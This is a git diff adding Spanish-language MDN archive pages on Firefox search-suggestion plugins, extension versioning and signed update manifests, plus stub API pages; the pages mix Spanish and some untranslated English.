+    <p><a style="float: left;" href="/es/docs/Escuela_XUL/Objetos_XPCOM">« Anterior</a><a href="/es/docs/Escuela_XUL/Manejo_de_preferencias">Siguiente  »</a></p>
+</div><p></p>
+
+<p><span style="font-size: small;">This tutorial was kindly donated to Mozilla by Appcoast.</span></p>
diff --git a/files/es/archive/add-ons/permitir_sugerencias_en_los_plugins_de_búsqueda/index.html b/files/es/archive/add-ons/permitir_sugerencias_en_los_plugins_de_búsqueda/index.html
new file mode 100644
index 0000000000..7e5d1f33de
--- /dev/null
+++ b/files/es/archive/add-ons/permitir_sugerencias_en_los_plugins_de_búsqueda/index.html
@@ -0,0 +1,54 @@
+---
+title: Permitir sugerencias en los plugins de búsqueda
+slug: Archive/Add-ons/Permitir_sugerencias_en_los_plugins_de_búsqueda
+tags:
+  - Plugins_de_búsqueda
+translation_of: Archive/Add-ons/Supporting_search_suggestions_in_search_plugins
+---
+<p>MozSearch admite sugerencias mientras el usuario escribe el la barra de búsqueda, <a href="es/Firefox_2">Firefox 2</a> pregunta a la URL especificada por el plugins del motor de búsqueda para devolver sugerencias en tiempo real.
+</p><p>Una vez que se ha obtenido la lista, se muestra en un cuadro emergente que aparece debajo de la barra de búsqueda, que permite al usuario seleccionar un término sugerido. Si el usuario continua escribiendo, se solicita una nueva lista de sugerencias al motor de búsqueda, y se muestra actualizada.
+</p><p>Los plugins de Yahoo y Google incluidos en Firefox 2 admiten sugerencias de búsqueda.
+</p>
+<h2 id="Implementar_soporte_para_sugerencias_en_un_plugin_de_b.C3.BAsqueda" name="Implementar_soporte_para_sugerencias_en_un_plugin_de_b.C3.BAsqueda">Implementar soporte para sugerencias en un plugin de búsqueda</h2>
+<p>Para soportar sugerencias, un plugin de búsquedaa necesita definir un elemento extra <code>&lt;Url&gt;</code> con su atributo <code>type</code> definido como <code>"application/x-suggestions+json"</code>. (esto significa que los plugins con soporte para sugerencias tendrán dos elementos <code>&lt;Url&gt;</code>, siendo el otro la URL principal <code>text/html</code>.)
+</p><p>Por ejemplo, el plugin de búsqueda de Yahoo tiene esta <code>&lt;Url&gt;</code>:
+</p>
+<pre>&lt;Url type="application/x-suggestions+json" template="http://ff.search.yahoo.com/gossip?output=fxjson&amp;command={searchTerms}"/&gt;
+</pre>
+<p>Si el usuario escribe "fir" en la barra de búsqueda, y se detiene, Firefox insertará "fir" en el lugar de <code>{searchTerms}</code> y consultará esa URL:
+</p>
+<pre>&lt;Url type="application/x-suggestions+json" template="http://ff.search.yahoo.com/gossip?output=fxjson&amp;command=fir"/&gt;
+</pre>
+<p>Los resultados son usados para construir el diálogo con la lista de sugerencias.
+</p><p>Lee <a href="es/Creaci%c3%b3n_de_plugins_MozSearch">Creación de plugins MozSearch</a> para conocer mas sobre como implementar un plugin de búsqueda.
+</p>
+<h2 id="Implementar_las_sugerencias_en_el_servidor" name="Implementar_las_sugerencias_en_el_servidor">Implementar las sugerencias en el servidor</h2>
+<p>La mayor parte del trabajo para manipular las sugerencias de búsqueda es realmente implementada en el lado del servidor. Si eres desarrollador web, y quieres soportar las sugerencias de búsqueda, necesitas implementar el soporte para devolver las sugerencias en <a class="external" href="http://www.json.org/">JavaScript Object Notation</a> (JSON) dado un termino de búsqueda.
+</p><p>Cuando el navegador desea obtener posibles resultados de un término de búsqueda, envia una solicitud HTTP GET a la URL especificada por el elemento <code>&lt;Url&gt;</code>.
+</p><p>Tu servidor debe entonces decidir que sugerencias debe ofrecer usando los medios que vea necesarios, y construyedo un JSON que consista en al menos dos, y como mucho cuatro, elementos:
+</p>
+<dl><dt> <b>query string</b>
+</dt><dd> El primer elemento en el JSON es la cadena de búsqueda original. Esto permite a Firefox verificar que la sugerencia concuerda con el término de búsqueda actual.
+</dd></dl>
+<dl><dt> <b>completion list</b>
+</dt><dd> Un array de los términos sugeridos. El array debe estar entre corchetes. Por ejemplo: &lt;tt&gt;["termino 1", "termino 2", "termino 3", "termino 4"]&lt;/tt&gt;
+</dd></dl>
+<dl><dt> <b>descriptions</b>
+</dt><dd> Este elemento opcional es un array de descripciones de cada sugerencia en la <i>completion list</i>. Esto puede ser cualquier información que el motor de búsqueda quiera devolver para que se muestre en el navegador, como el numero de resultados disponibles para dicha búsqueda.
+</dd></dl>
+<div class="note">Las descripciones no son soportadas en Firefox 2, y son ignoradas si alguna es espeficificada.</div>
+<dl><dt> <b>query URLs</b>
+</dt><dd> Este elemento opcional es un array de URLs alternativas para cada sugerencia de la <i>completion list</i>. Por ejemplo, si quieres ofrecer un enlace a un mapa en vez de simplemente un resultado de búsqueda para una sugerencia, puedes devolver una URL a un mapa en este array.
+</dd></dl>
+<dl><dd> Si no especificas una URL para la petición, la petición por defecto se manda por defecto al elemento <code>&lt;Url&gt;</code> definido en la descripción XML del plugin.
+</dd></dl>
+<div class="note">Las query URLs no son soportadas en Firefox 2, y son ignoradas.</div>
+<p>Por ejemplo, si el término a buscar es "fir", y no necesitas devolver descripciones o urls alternativas, puedes devolver el siguiente JSON:
+</p>
+<pre class="eval">["fir", ["firefox", "first choice", "mozilla firefox"]]
+</pre>
+<p>Date cuenta que en este ejemplo, solo se especifican la <i>query string</i> y el <i>completion array</i>, sin especificar los elementos opcionales.
+</p><p>Tu <i>completion list</i> puede incluir tantas sugerencias como quieras, aunque debe mantenerse manejable, dado que los datos se estarán actualizando en tiempo real mientras el usuario está escribiendo una palabra. Además, el método que usas para elegir las sugerencias depende de ti.
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/es/archive/add-ons/versionado,_actualización_y_compatibilidad_de_extensiones/index.html b/files/es/archive/add-ons/versionado,_actualización_y_compatibilidad_de_extensiones/index.html
new file mode 100644
index 0000000000..45a3a213ca
--- /dev/null
+++ b/files/es/archive/add-ons/versionado,_actualización_y_compatibilidad_de_extensiones/index.html
@@ -0,0 +1,295 @@
+---
+title: 'Versionado, actualización y compatibilidad de extensiones'
+slug: 'Archive/Add-ons/Versionado,_actualización_y_compatibilidad_de_extensiones'
+tags:
+  - Complementos
+  - Todas_las_Categorías
+  - extensiones
+  - páginas_a_traducir
+translation_of: 'Archive/Add-ons/Extension_Versioning,_Update_and_Compatibility'
+---
+<h2 id="Las_versiones_de_extensiones">Las versiones de extensiones</h2>
+
+<p>Las extensiones deberán especificar su versión utilizando la <a href="/es/Formato_para_la_versi%C3%B3n_del_Toolkit" title="es/Formato_para_la_versión_del_Toolkit">herramienta para el formato de versión</a>. En general son unas cadenas de caracteres cortadas por un punto, algunos ejemplos:</p>
+
+<ul>
+ <li>2.0</li>
+ <li>1.0b1</li>
+ <li>3.0pre1</li>
+ <li>5.0.1.2</li>
+</ul>
+
+<h2 id="Como_determinan_la_compatibilidad_las_aplicaciones" name="Como_determinan_la_compatibilidad_las_aplicaciones">Como determinan la compatibilidad las aplicaciones</h2>
+
+<p>Al instalar extensiones/complementos las aplicaciones (programas) comprueban las entradas <code><a href="/es/Install.rdf#targetApplication" title="es/Install.rdf#targetApplication">targetApplication</a></code> en el archivo de instalación (<code>install.rdf</code>) de la extensión. La identificación (ID) de una entrada debe coincidir con la ID de la aplicación. Además, el número de versión de la aplicación debe encontrarse dentro del rango definido en <code>minVersion</code> y <code>maxVersion</code>.</p>
+
+<p>Si la aplicación tiene una entrada <code>targetApplication</code> pero es para una versión incompatible, la aplicación intentará obtendrá información actualizada sobre su compatibilidad del archivo <code><a href="/es/Install.rdf#updateURL" title="es/Install.rdf#updateURL">updateURL</a></code>.</p>
+
+<p>Si el archivo de instalación tiene entradas en <code><a href="/es/Install.rdf#targetPlatform" title="es/Install.rdf#targetPlatform">targetPlatform</a></code>, la plataforma utilizada para instalar la aplicación debe aparecer listada en ella o se cancelará la instalación.</p>
+
+<p> En las aplicaciones basadas en Gecko 1.9 se puede utilizar una entrada <code>targetApplication</code> con una ID <code><a class="link-mailto" href="mailto:toolkit@mozilla.org" rel="freelink">toolkit@mozilla.org</a></code>; <code>minVersion</code>, y <code>maxVersion</code> que coincidan con la versión de la aplicación. Esto permitirá garantizar que la extensión se podrá instalar en cualquier aplicación basada en Toolkit.</p>
+
+<h3 id="Cancelar_el_control_de_compatibilidad" name="Cancelar_el_control_de_compatibilidad">Cancelar el control de compatibilidad</h3>
+
+<p> Para la evaluación de extensiones se puede hacer que la aplicación ignore los controles de compatibilidad durante la instalación. Lo único que hay que hacer es crear la preferencia <code>extensions.checkCompatibility</code> y darle valor False.</p>
+
+<p>Antes de la versión 1.5 de Firefox, se podía utilizar la preferencia <code>app.extensions.version</code> para que la aplicación ignorase su versión e instalar así extensiones de otra forma incompatibles.</p>
+
+<h2 id="Elecci.C3.B3n_de_minVersion_y_maxVersion" name="Elecci.C3.B3n_de_minVersion_y_maxVersion">Elección de minVersion y maxVersion</h2>
+
+<p><code>minVersion</code> y <code>maxVersion</code> deberían especificar las diferentes versiones de la aplicación que se han probado. No se debe introducir un valor <code>maxVersion</code> superior a la versión disponible ya que no se saben qué cambios podrían introducirse en su interfaz de programación (API) y de usuario. Con la <a href="#Actualizaciones_de_compatibilidad">actualización de compatibilidad</a> no hace falta publicar una versión nueva completa de la extensión, sólo habrá que aumentar su <code>maxVersion</code>.</p>
+
+<p>Generalmente, en <code>maxVersion</code> es permitido sustituir el número de versión secundario de la aplicación por un asterisco '*', por ejemplo: <code>2.0.0.*</code> significaría que admite cualquier actualización secundaria de la versión 2 de la aplicación. Normalmente, la aplicación suele sugerir al autor de extensiones con qué parte de la versión conviene más hacer lo antedicho.</p>
+
+<p>El asterisco '*' no representa una versión por sí mismo. En realidad el * representa un número infinitamente alto, por lo que es más sensato usarlo en <code>maxVersion</code> que en <code>minVersion</code> ya que no suele producir el efecto deseado.</p>
+
+<h2 id="Comprobaci.C3.B3n_autom.C3.A1tica_de_actualizaci.C3.B3n_de_extensiones" name="Comprobaci.C3.B3n_autom.C3.A1tica_de_actualizaci.C3.B3n_de_extensiones">Comprobación automática de actualización de extensiones</h2>
+
+<p>Periódicamente, las aplicaciones buscarán actualizaciones de las extensiones instaladas recuperando el archivo <code><a href="/es/Install.rdf#updateURL" title="es/Install.rdf#updateURL">updateURL</a></code>. La información recuperada puede servir para notificar al usuario que existe una actualización de la extensión e informar a la aplicación de las nuevas versiones compatibles con la extensión.</p>
+
+<h3 id="Actualizaciones_de_compatibilidad" name="Actualizaciones_de_compatibilidad">Actualizaciones de compatibilidad</h3>
+
+<p>Durante la comprobación automática de actualizaciones, las aplicaciones buscan nuevas versiones e información actualizada sobre la compatibilidad de la versión instalada de una extensión. Esto quiere decir que si el manifiesto de la actualización incluye una entrada para la versión actual de la extensión instalada y el <code>targetApplication</code> de la entrada especifica un maxVersion mayor, la aplicación utilizará este valor en lugar del especificado en el archivo <code>install.rdf</code> de la extensión. Esto puede causar que se activen extensiones que estaban desactivadas por ser incompatibles y que se instalen aquellas que normalmente no se instalarían.</p>
+
+<h3 id="Formato_RDF_de_actualizaci.C3.B3n" name="Formato_RDF_de_actualizaci.C3.B3n">Formato RDF de actualización</h3>
+
+<p>Si alberga uno mismo el archivo <code>updateURL</code> del complemento será necesario devolver la información de la versión en un formato RDF. Encontrará un ejemplo de manifiesto de actualización más abajo. Muestra información sobre dos versiones diferentes de la extensión para la 'id' <code><a class="link-mailto" href="mailto:foobar@developer.mozilla.org" rel="freelink">foobar@developer.mozilla.org</a></code>. Las versiones incluidas son 2.2 y 2.5, y cada una especifica la compatibilidad con las versiones de Firefox 1.5 a 2.0.0.*. Para la versión 2.2 se utiliza un enlace de actualización https mientras que para la 2.5 es un enlace regular http con un 'hash' para verificar el archivo recuperado.</p>
+
+<p>Es importante recuperar correctamente la descripción RDF inicial del atributo 'about'. Permite saber de que complemento se trata:</p>
+
+<ul>
+ <li>Para una extensión: <code>urn:mozilla:extension:&lt;id&gt;</code></li>
+ <li>Para un tema:</li>
+</ul>
+
+<p><code>urn:mozilla:theme:&lt;id&gt;</code></p>
+
+<ul>
+ <li>Para cualquier otro tipo de complemento: <code>urn:mozilla:item:&lt;id&gt;</code></li>
+</ul>
+
+<p>En cualquiera de los ejemplos siguientes, la secuencia ordenada de las versiones dentro del elemento &lt;RDF:Seq&gt; es importante, con las versiones más nuevas después que las más antiguas. No hay que escribir todas las versiones intermedias si la última es suministrada.</p>
+
+<pre>&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+
+&lt;RDF:RDF xmlns:RDF="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+         xmlns:em="http://www.mozilla.org/2004/em-rdf#"&gt;
+
+  &lt;!-- Esta forma de descripción incluye toda la
+       información de actualización y compatibilidad
+       para un simple complemento con la id
+       foobar@developer.mozilla.org.
+       Un único archivo RDF admite listados con
+       información de varios complementos. --&gt;
+  &lt;RDF:Description about="urn:mozilla:extension:foobar@developer.mozilla.org"&gt;
+    &lt;em:updates&gt;
+      &lt;RDF:Seq&gt;
+
+        &lt;!-- Cada "li" es una versión diferente
+             del mismo complemento --&gt;
+        &lt;RDF:li&gt;
+          &lt;RDF:Description&gt;
+            &lt;em:version&gt;2.2&lt;/em:version&gt; &lt;!-- Esto
+           es el número de la versión del complemento --&gt;
+
+            &lt;!-- Un targetApplication para cada aplicación
+                 compatible con el complemento --&gt;
+            &lt;em:targetApplication&gt;
+              &lt;RDF:Description&gt;
+                &lt;em:id&gt;{ec8030f7-c20a-464f-9b0e-13a3a9e97384}&lt;/em:id&gt;
+                &lt;em:minVersion&gt;1.5&lt;/em:minVersion&gt;
+                &lt;em:maxVersion&gt;2.0.0.*&lt;/em:maxVersion&gt;
+
+                &lt;!-- Dice donde hay que ir para descargar
+                     esa versión del complemento --&gt;
+                &lt;em:updateLink&gt;https://www.mysite.com/foobar2.2.xpi&lt;/em:updateLink&gt;
+
+                &lt;!-- Una página sobre lo nuevo
+                     de esta actualización --&gt;
+                &lt;em:updateInfoURL&gt;http://www.mysite.com/updateinfo2.2.xhtml&lt;/em:updateInfoURL&gt;
+              &lt;/RDF:Description&gt;
+            &lt;/em:targetApplication&gt;
+          &lt;/RDF:Description&gt;
+        &lt;/RDF:li&gt;
+
+        &lt;RDF:li&gt;
+          &lt;RDF:Description&gt;
+            &lt;em:version&gt;2.5&lt;/em:version&gt;
+            &lt;em:targetApplication&gt;
+              &lt;RDF:Description&gt;
+                &lt;em:id&gt;{ec8030f7-c20a-464f-9b0e-13a3a9e97384}&lt;/em:id&gt;
+                &lt;em:minVersion&gt;1.5&lt;/em:minVersion&gt;
+                &lt;em:maxVersion&gt;2.0.0.*&lt;/em:maxVersion&gt;
+                &lt;em:updateLink&gt;http://www.mysite.com/foobar2.5.xpi&lt;/em:updateLink&gt;
+                &lt;um:updateHash&gt;sha1:78fc1d2887eda35b4ad2e3a0b60120ca271ce6e6&lt;/em:updateHash&gt;
+              &lt;/RDF:Description&gt;
+            &lt;/em:targetApplication&gt;
+          &lt;/RDF:Description&gt;
+        &lt;/RDF:li&gt;
+
+      &lt;/RDF:Seq&gt;
+    &lt;/em:updates&gt;
+
+    &lt;!-- Una firma sólo es necesaria en el caso de haber
+         incluido un 'updateKey' en el archivo de
+         instalación 'install.rdf' del complemento. --&gt;
+    &lt;em:signature&gt;MIGTMA0GCSqGSIb3DQEBBQUAA4GBAMO1O2gwSCCth1GwYMgscfaNakpN40PJfOWt
+                  ub2HVdg8+OXMciF8d/9eVWm8eH/IxuxyZlmRZTs3O5tv9eWAY5uBCtqDf1WgTsGk
+                  jrgZow1fITkZI7w0//C8eKdMLAtGueGfNs2IlTd5P/0KH/hf1rPc1wUqEqKCd4+L
+                  BcVq13ad&lt;/em:signature&gt;
+  &lt;/RDF:Description&gt;
+&lt;/RDF:RDF&gt;
+</pre>
+
+<p>Mucha gente prefiere este formato alternativo (se ha quitado mucha información en este ejemplo para ver mejor la estructura básica):</p>
+
+<pre>&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+
+&lt;RDF:RDF xmlns:RDF="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+         xmlns:em="http://www.mozilla.org/2004/em-rdf#"&gt;
+
+  &lt;!-- Esta forma de descripción incluye toda la
+       información de actualización y compatibilidad
+       para un simple complemento con la id
+       foobar@developer.mozilla.org.
+       Un único archivo RDF admite listados con
+       información de varios complementos. --&gt;
+  &lt;RDF:Description about="urn:mozilla:extension:foobar@developer.mozilla.org"&gt;
+    &lt;em:updates&gt;
+      &lt;RDF:Seq&gt;
+        &lt;!-- El atributo de recurso apunta a una entrada
+             de descripción 'about' que está más abajo.
+             La uri actual puede ser cualquier cosa --&gt;
+        &lt;RDF:li resource="urn:mozilla:extension:foobar@developer.mozilla.org:2.2"/&gt;
+        &lt;RDF:li resource="urn:mozilla:extension:foobar@developer.mozilla.org:2.5"/&gt;
+      &lt;/RDF:Seq&gt;
+    &lt;/em:updates&gt;
+    &lt;em:signature&gt;MIGTMA0GCSqGSIb3DQEBBQUAA4GBAMO1O2gwSCCth1GwYMgscfaNakpN40PJfOWt
+                  ub2HVdg8+OXMciF8d/9eVWm8eH/IxuxyZlmRZTs3O5tv9eWAY5uBCtqDf1WgTsGk
+                  jrgZow1fITkZI7w0//C8eKdMLAtGueGfNs2IlTd5P/0KH/hf1rPc1wUqEqKCd4+L
+                  BcVq13ad&lt;/em:signature&gt;
+  &lt;/RDF:Description&gt;
+
+  &lt;!-- Esto es lo mismo que la descripción con
+       'li' del ejemplo anterior --&gt;
+  &lt;RDF:Description about="urn:mozilla:extension:foobar@developer.mozilla.org:2.2"&gt;
+    &lt;em:version&gt;2.2&lt;/em:version&gt;
+
+    &lt;!-- El contenido de esta parte se ha quitado --&gt;
+
+  &lt;/RDF:Description&gt;
+  &lt;RDF:Description about="urn:mozilla:extension:foobar@developer.mozilla.org:2.5"&gt;
+    &lt;em:version&gt;2.5&lt;/em:version&gt;
+
+    &lt;!-- El contenido de esta parte se ha quitado --&gt;
+
+  &lt;/RDF:Description&gt;
+&lt;/RDF:RDF&gt;
+</pre>
+
+<h3 id="Facilitar_detalles_sobre_las_actualizaciones" name="Facilitar_detalles_sobre_las_actualizaciones">Facilitar detalles sobre las actualizaciones</h3>
+
+<p></p>
+
+<h4 id="En_general" name="En_general">En general</h4>
+
+<p>Podemos dar a conocer a los usuarios las novedades incluidas en la versión actualizada de nuestro complemento. El usuario al recibir una notificación de que hay una nueva versión puede ver de un vistazo esa información que contiene las mejoras y los arreglos de cualquier problema de seguridad.</p>
+
+<p>Para que así sea, hay que agregar una entrada <code>updateInfoURL</code> en el manifiesto de actualización (ver el ejemplo de encima). La página de esta URL será recuperada y mostrada, al usuario, fuera del contexto normal de una página web por lo cual su contenido es mucho más "limpio", lo que significa que hay muy pocas opciones de formatos y que las secuencias de órdenes e imágenes no están permitidas. Como regla general, sólo se admite el uso de las etiquetas siguientes (cualquier otra cosa se ignorará):</p>
+
+<ul>
+ <li>Para cabeceras: h1, h2, h3</li>
+ <li>Para párrafos: p</li>
+ <li>Para listas: ul y ol.</li>
+</ul>
+
+<p>Dentro de las listas se usará la etiqueta habitual '<code>li</code>' para cada ítem de la lista.</p>
+
+<p>Dentro de las etiquetas 'h1', 'h2', 'h3', 'p' y 'li' se utilizará:</p>
+
+<ul>
+ <li>Para texto en negrita: b o strong</li>
+ <li>Para texto en cursiva/itálica: i o em</li>
+</ul>
+
+<p>La página de información recuperada debe ser completamente válida en XHTML, y entregada con el tipo MIME <code>application/xhtml+xml</code>.</p>
+
+<p>Para poder personalizar el texto según la configuración regional/local del usuario se colocará %APP_LOCALE% en updateInfoURL para que esta información esté incluida en la URL, o bien cualquier otras cadenas de substitución admitidas por updateURL, pero no es tan funcional.</p>
+
+<h4 id="Lo_que_ve_el_usuario_final" name="Lo_que_ve_el_usuario_final">Lo que ve el usuario final</h4>
+
+<p>El contenido de <code>updateInfoURL</code> será mostrado al usuario en una pantalla del complemento, con una lista de todas las actualizaciones disponibles. Entonces, el usuario puede hacer clic en el botón "Mostrar la información" y la verá a la derecha. (El botón cambiará a "Esconder la información")</p>
+
+<p><img alt="Image:Example_updateInfoURL2.PNG"></p>
+
+<h3 id="Asegurando_las_actualizaciones" name="Asegurando_las_actualizaciones">Asegurando las actualizaciones</h3>
+
+<p> </p>
+
+<p>Gecko 1.9 has added additional requirements designed to protect users from <a class="external" href="http://en.wikipedia.org/wiki/Man-in-the-middle_attack">man-in-the-middle attacks</a> and the like during add-on updates. In the install.rdf of the already installed add-on <code>updateURL</code> must be specified in one of the following ways:</p>
+
+<ul>
+ <li>The <code><a href="/es/Install.rdf#updateURL" title="es/Install.rdf#updateURL">updateURL</a></code> uses https, or there is no <code>updateURL</code> at all (which defaults to <code>addons.mozilla.org</code> which is https)</li>
+ <li>The <code><a href="/es/Install.rdf#updateURL" title="es/Install.rdf#updateURL">updateURL</a></code> uses http and the <code><a href="/es/Install.rdf#updateKey" title="es/Install.rdf#updateKey">updateKey</a></code> entry is specified which will be used to verify the data in the update manifest.</li>
+</ul>
+
+<p>Si se especifica una actualización de clave/firma (<code>updateKey</code>) en el archivo de instalación ( <code>install.rdf</code>), hay que incluir una <a href="#Manifiesto_de_actualizaci.C3.B3n_de_firma">firma digital</a> en el manifiesto de actualización sino la información será rechazada.</p>
+
+<p>In the update manifest delivered from the <code>updateURL</code> the <code>updateLink</code> must be specified in one of the following ways:</p>
+
+<ul>
+ <li>The <code>updateLink</code> to the XPI file must use https</li>
+ <li>The <code>updateLink</code> can use http and you must include an <code><a href="#Update_Hashes">updateHash</a></code> for the XPI file using sha1, sha256, sha384 or sha512 hash algorithms.</li>
+</ul>
+
+<p>Any entries in the update manifest that do not meet one of those two requirements will be ignored when checking for new versions.</p>
+
+<p>Note that https links to sites with invalid certificates or that redirect to http sites will fail for both the <code>update.rdf</code> and <code>updateLink</code> cases.</p>
+
+<h4 id="Los_cifrados_de_actualizaci.C3.B3n" name="Los_cifrados_de_actualizaci.C3.B3n">Los cifrados de actualización</h4>
+
+<p>Al fin de verificar la integridad del XPI descargado se puede proveer una entrada <code>updateHash</code> (cifrado de actualización) junto a <code>updateLink</code>. Este debe ser un cifrado generado desde los datos del fichero según un algoritmo admitido ('sha1', 'sha256', 'sha384' y 'sha512'). El algoritmo de cifrado utilizado debe anteponerse y separarse del cifrado en sí con '<code>:</code>'.</p>
+
+<pre>  &lt;em:updateHash&gt;sha1:78fc1d2887eda35b4ad2e3a0b60120ca271ce6e6&lt;/em:updateHash&gt;
+</pre>
+
+<p>El valor <code>updateHash</code>, <strong>debe</strong> empezar con la cadena del algoritmo de cifrado, es un error común quitar ese prefijo al poner un valor nuevo en <code>updateHash</code>:\n<em><strong>sha1:</strong>78fc1d2887eda35b4ad2e3a0b60120ca271ce6e6</em>"</p>
+
+<p>Además el cifrado del archivo descargado y el cifrado especificado también deben coincidir, sino dará un error.</p>
+
+<p>Varias herramientas permiten generar un cifrado:</p>
+
+<p>Diversas variantes de Unix incluyen: sha1sum, sha256sum y demás. Los usuarios de Windows pueden utilizar <a class="external" href="http://beeblebrox.org/hashtab/">HashTab</a> para un uso interactivo (fuera de compilación). Tienen también las <a class="external" href="http://gnuwin32.sourceforge.net/packages/coreutils.htm">utilidades para Win</a> (aparte de los clásicos como Cygwin), las cuales son buenas para un uso no-interactivo:</p>
+
+<pre class="eval">sha1sum ARCHIVO
+</pre>
+
+<p>Además de <a class="external" href="http://md5deep.sourceforge.net/">md5deep</a> que es múlti-plataforma</p>
+
+<pre class="eval">sha1deep FILE
+</pre>
+
+<p>OpenSSL también genera cifrado:</p>
+
+<pre class="eval">openssl sha1 FILE
+</pre>
+
+<p>Para los usuarios de Windows, <a class="external" href="http://beeblebrox.org/hashtab/">HashTab</a> es una extensión shell... un simple clic da valores de cifrado para cualquier archivo.</p>
+
+<p>Aquí hay además un <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=395368">bug de mejoras</a> sobre como insertar a McCoy la generación automática de cifrado en archivos XPI.</p>
+
+<p>Y todos los lenguajes (de programación) populares lo ofrecen, por ejemplo: <a class="external" href="http://docs.python.org/lib/module-hashlib.html">Python</a>, Perl: CPAN Digest, <a class="external" href="http://de2.php.net/sha1_file">PHP</a></p>
+
+<h4 id="Firmar_el_manifiesto_de_actualizaci.C3.B3n" name="Firmar_el_manifiesto_de_actualizaci.C3.B3n">Firmar el manifiesto de actualización</h4>
+
+<p> </p>
+
+<p>If you wish to serve your update RDF over regular http, Gecko 1.9 based applications will require that you digitally sign the update manifest to ensure that it's information isn't tampered with between you creating it and applications retrieving it. The <a href="/es/McCoy" title="es/McCoy">McCoy</a> tool should be used to sign the update RDF.</p>
+
+<p>The technical details of the signing mechanism are beyond the scope of this document however the basics are as follows:</p>
+
+<p>The add-on author creates a public/private RSA cryptographic key pair.</p>
+
+<p>The public part of the key is DER encoded and then base 64 encoded and added to the add-on's <code>install.rdf</code> as an <code><a href="/es/Install.rdf#updateKey" title="es/Install.rdf#updateKey">updateKey</a></code> entry.</p>
+
+<p>When the author creates the update rdf file a tool is used to sign it using the private part of the key. Roughly speaking the update information is converted to a string, then hashed using a sha512 hashing algorithm and this hash is signed using the private key. The resultant data is DER encoded then base 64 encoded for inclusion in the update rdf as an <code>em:signature</code> entry.</p>
diff --git a/files/es/archive/api/index.html b/files/es/archive/api/index.html
new file mode 100644
index 0000000000..02c6cf7eab
--- /dev/null
+++ b/files/es/archive/api/index.html
@@ -0,0 +1,13 @@
+---
+title: API
+slug: Archive/API
+tags:
+  - API
+  - Archive
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive/API
+---
+<p>In progress. Archived documentation about obsolete web standards APIs.</p>
+
+<p></p><dl><dt class="landingPageList"><a href="/es/docs/Archive/API/Navigator">Navigator</a></dt><dd class="landingPageList">In progress. Features that used to hang off the <a href="/es/docs/Web/API/Navigator" title="La interfaz Navigator representa el estado y la identidad del user agent. Es completamente consultable y es posible registrar scripts para que ejecuten diversas actividades."><code>Navigator</code></a> interface, but have since been removed.</dd></dl><p></p>
diff --git a/files/es/archive/api/navigator/index.html b/files/es/archive/api/navigator/index.html
new file mode 100644
index 0000000000..37284b83b6
--- /dev/null
+++ b/files/es/archive/api/navigator/index.html
@@ -0,0 +1,8 @@
+---
+title: Navigator
+slug: Archive/API/Navigator
+translation_of: Archive/API/Navigator
+---
+<p>In progress. Features that used to hang off the <a href="/es/docs/Web/API/Navigator" title="La interfaz Navigator representa el estado y la identidad del user agent. Es completamente consultable y es posible registrar scripts para que ejecuten diversas actividades."><code>Navigator</code></a> interface, but have since been removed.</p>
+
+<p></p>
diff --git a/files/es/archive/api/navigator/moznotification/index.html b/files/es/archive/api/navigator/moznotification/index.html
new file mode 100644
index 0000000000..6cc45f16e6
--- /dev/null
+++ b/files/es/archive/api/navigator/moznotification/index.html
@@ -0,0 +1,64 @@
+---
+title: navigator.mozNotification
+slug: Archive/API/Navigator/mozNotification
+translation_of: Archive/API/Navigator/mozNotification
+---
+<p></p><section class="Quick_links" id="Quick_Links"><ol><li><strong><a href="/es/docs/Web/API/Archive"><code>Archive</code></a></strong></li><li class="toggle"><details open><summary>Eventos</summary><ol><li><a href="/es/docs/Web/Events/abort"><code>abort</code></a></li><li><a href="/es/docs/Web/Events/DOMContentLoaded"><code>DOMContentLoaded</code></a></li><li><a href="/es/docs/Web/Events/afterprint"><code>afterprint</code></a></li><li><a href="/es/docs/Web/Events/afterscriptexecute"><code>afterscriptexecute</code></a></li><li><a href="/es/docs/Web/Events/beforeprint"><code>beforeprint</code></a></li><li><a href="/es/docs/Web/Events/beforescriptexecute"><code>beforescriptexecute</code></a></li><li><a href="/es/docs/Web/Events/beforeunload"><code>beforeunload</code></a></li><li><a href="/es/docs/Web/Events/blur"><code>blur</code></a></li><li><a href="/es/docs/Web/Events/cancel"><code>cancel</code></a></li><li><a href="/es/docs/Web/Events/change"><code>change</code></a></li><li><a href="/es/docs/Web/Events/click"><code>click</code></a></li><li><a href="/es/docs/Web/Events/close"><code>close</code></a></li><li><a href="/es/docs/Web/Events/connect"><code>connect</code></a></li><li><a href="/es/docs/Web/Events/contextmenu"><code>contextmenu</code></a></li><li><a href="/es/docs/Web/Events/error"><code>error</code></a></li><li><a href="/es/docs/Web/Events/focus"><code>focus</code></a></li><li><a href="/es/docs/Web/Events/hashchange"><code>hashchange</code></a></li><li><a href="/es/docs/Web/Events/input"><code>input</code></a></li><li><a href="/es/docs/Web/Events/invalid"><code>invalid</code></a></li><li><a href="/es/docs/Web/Events/languagechange"><code>languagechange</code></a></li><li><a href="/es/docs/Web/Events/load"><code>load</code></a></li><li><a href="/es/docs/Web/Events/loadend"><code>loadend</code></a></li><li><a href="/es/docs/Web/Events/loadstart"><code>loadstart</code></a></li><li><a href="/es/docs/Web/Events/message"><code>message</code></a></li><li><a href="/es/docs/Web/Events/offline"><code>offline</code></a></li><li><a href="/es/docs/Web/Events/online"><code>online</code></a></li><li><a href="/es/docs/Web/Events/open"><code>open</code></a></li><li><a href="/es/docs/Web/Events/pagehide"><code>pagehide</code></a></li><li><a href="/es/docs/Web/Events/pageshow"><code>pageshow</code></a></li><li><a href="/es/docs/Web/Events/popstate"><code>popstate</code></a></li><li><a href="/es/docs/Web/Events/progress"><code>progress</code></a></li><li><a href="/es/docs/Web/Events/readystatechange"><code>readystatechange</code></a></li><li><a href="/es/docs/Web/Events/reset"><code>reset</code></a></li><li><a href="/es/docs/Web/Events/select"><code>select</code></a></li><li><a href="/es/docs/Web/Events/show"><code>show</code></a></li><li><a href="/es/docs/Web/Events/sort"><code>sort</code></a></li><li><a href="/es/docs/Web/Events/storage"><code>storage</code></a></li><li><a href="/es/docs/Web/Events/submit"><code>submit</code></a></li><li><a href="/es/docs/Web/Events/toggle"><code>toggle</code></a></li><li><a href="/es/docs/Web/Events/unload"><code>unload</code></a></li><li><a 